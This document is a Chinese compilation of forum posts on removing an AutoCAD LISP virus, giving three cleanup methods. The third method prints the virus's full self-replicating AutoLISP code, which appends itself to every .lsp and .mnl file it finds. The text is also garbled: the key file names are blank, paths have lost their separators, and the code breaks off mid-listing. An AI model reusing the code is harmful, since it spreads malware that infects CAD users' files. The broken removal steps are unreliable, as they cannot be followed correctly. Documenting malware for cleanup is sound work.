2024年4月8日发(作者:)

方法 一

输入的列表有缺陷(转自LOVE空间)2009年04月07日 星期二 上午 11:14这个是个

新病毒,用以往的解决方法(改名为替换)无法解决,在网络搜索了一下看到百度空

间有个帖子有相关解决办法。

原帖如下:

今天在Q群里又见网友请求删除CAD病毒,说用专杀工具也无法解决,于是让他把病毒文件传了给

我。打开文件一看,发现这个“”文件内的程序代码跟以往的“”病毒文件不

同。

该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码(“”

文件内容)写入“*.lsp”文件内,并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时,直线命

令“line”、外部参照管理命令“xref”和分解(炸开)命令“explode”无法使用。

CAD系统感染该病毒文件后,只是简单搜索删除“”文件,不能清除病毒。因为所有的

“*.lsp”文件已经被修改,所有“*.lsp”文件都是病毒文件。

解决方法壹:

①、关闭CAD

②、搜索并刪除所有“”文件

③、卸载CAD(必须卸载干净,并进入C盘用户目录内删除没有卸载完的CAD文件)后,重新安装CAD

解决方法贰:

①、关闭CAD

②、搜索并刪除所有“”文件

③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑,复制其所有“*.lsp”文件和“*.mnl”

文件至本机覆盖原文件(包括C盘用户目录内的相关文件)

预防CAD病毒:

装好CAD系统后,在没有被病毒感染前,将CAD目录内所有文件的属性设置为只读,可以减少中毒

的机率。(此法99.999%有效)

附:C:Documents and Settings×××Application DataAutodeskAutoCAD 200×R×.×

其中×××是你登录系统时的用户名, 200×和R×.×分别是CAD的版本和版本代号。(注意:目录

C:Documents and Settings是系统隐藏文件夹)

方法 二

CAD开机运行时会有一大串函数,并且产生的文件处理方法,我用了,方法很好就转过

来了

1

以下是本人中了病毒的后亲身体验的杀毒经历。

开始也在网上找了很多所谓的CAD病毒专杀、专杀什么的软件。。。全试了都没有用。后

来通过网上介绍的一些关于lsp病毒的特性,亲身试验后确实有效,在此和大家分享,希望能为大家解

决一些问题。

下面言归正传,杀毒步骤如下:

1、全盘删除(包括隐藏文件夹)——————废话了,呵呵

2、删除C:Documents and SettingsAdministratorApplication DataAutodeskAutoCAD

2006R16.2chsSupport下面的和

3、删除C:Documents and SettingsAdministratorApplication。DataAutodeskAutoCAD

2006R16.2chsSupport下面的、和。

4、删除C:Program FilesAutoCAD 2006Support下面所有的*****.lsp,本人用的2006版共10个

****.lsp文件。

5、COPY下面附件的alsp内的两个文件到C:Documents and SettingsAdministratorApplication

DataAutodeskAutoCAD 2006R16.2chsSupport,改为只读。

6、COPY下面附件的mnl内的三个文件到C:Documents and SettingsAdministratorApplication

DataAutodeskAutoCAD 2006R16.2chsSupport,改为只读。

7、COPY下面附件的LSP内的十个文件到C:Program FilesAutoCAD 2006Support,改为只读。

经以上步骤处理后,就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小异。现就出现的病毒进行杀毒。不用重新安装CAD的办法。

1、发现文件夹中多出说明你中毒了。

2、关闭CAD程序。

3、全盘查找 *.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。

4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。(用记事本打开)

5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。

说明:

1、病毒感染X:Program FilesAutoCAD 20**Support文件夹下的;

;;;;ai_;;;

;文件。

2、要删除的病毒代码在文件的尾部,具体如下:

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

2

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile ""))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile ""))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "support"))

3

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath ""))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

4

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

(load "acadapq")

(princ)

5